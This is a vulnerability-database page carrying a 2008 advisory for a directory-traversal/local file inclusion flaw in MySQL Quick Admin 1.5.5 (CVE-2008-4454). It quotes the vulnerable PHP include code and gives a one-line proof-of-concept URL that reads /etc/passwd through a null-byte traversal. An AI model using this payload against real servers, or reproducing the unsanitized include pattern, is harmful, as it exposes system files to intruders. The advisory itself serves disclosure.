Vulners
Lucene search
MySQL Quick Admin 1.5.5 - Local File Inclusion Vulnerability
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2008-4454 | 1 Oct 200800:00 | – | circl |
 | CVE-2008-4454 | 6 Oct 200823:00 | – | cve |
 | CVE-2008-4454 | 6 Oct 200823:00 | – | cvelist |
 | MySQL Quick Admin 1.5.5 - Local File Inclusion | 6 Nov 200800:00 | – | exploitdb |
 | EUVD-2008-4435 | 7 Oct 202500:30 | – | euvd |
 | MySQL Quick Admin 1.5.5 - Local File Inclusion | 6 Nov 200800:00 | – | exploitpack |
 | CVE-2008-4454 | 6 Oct 200823:25 | – | nvd |
 | mysqlquickadmin-lfi.txt | 7 Nov 200800:00 | – | packetstorm |
 | Directory traversal | 6 Oct 200823:25 | – | prion |
 | CVE-2008-4454 | 21 May 202520:02 | – | redhatcve |
10
##################################################################################
# #
# Author: Vinod Sharma #
# Email: [email protected] #
# Date: 05th Nov, 2008 #
# Note: This information is only for educational purpose, author #
# will not bear responsibility for any damages. #
##################################################################################
#########################################################################################
#Directory traversal vulnerability in MySQL Quick Admin 1.5.5 #
#allows remote attackers to read and execute arbitrary files via a .. (dot dot) #
#in the lang parameter to actions.php. #
# #
# #
# #
#Appplication still unpatched #
# #
#vulnerable code in actions.php #
# #
#/* code start #
# case 27: #
# $do = $_GET['do']; #
# if($do == "theme" && file_exists("themes/".$_GET['theme'])){ #
# setcookie('theme', $_GET['theme'], time()+60*60*24*30); #
# $_SESSION['theme'] = $_GET['theme']; #
# unset($_SESSION['theme_name']); #
# } else if($do == "lang" && file_exists("lang/".$_GET['lang'])){ #
# setcookie('language', $_GET['lang'], time()+60*60*24*30); #
# $_SESSION['language'] = $_GET['lang']; #
# unset($_SESSION['lang_name']); #
# } #
# header("Location: main.php"); #
# #
#/* code end #
# #
#$_SESSION['language'] is set to the value of the lang parameter without any #
#sanitization. #
# #
#The actions.php will send this $_SESSION['language'] value to required.php which will #
#pass it to include() function without any sanitization. #
# #
# #
#vulnerable code in required.php #
# #
#/* code start #
# #
#line 22 in required.php: include("lang/".$_SESSION['language']."/lang.php"); #
# #
#/* code end #
#########################################################################################
POC:http://www.example.com/quickadmin/actions.php?act=27&do=lang&lang=../../../../../../../../../../etc/passwd%00
#########################################################################################
# references: #
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4454 #
# http://secunia.com/advisories/31820 #
#########################################################################################
# milw0rm.com [2008-11-06]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.0193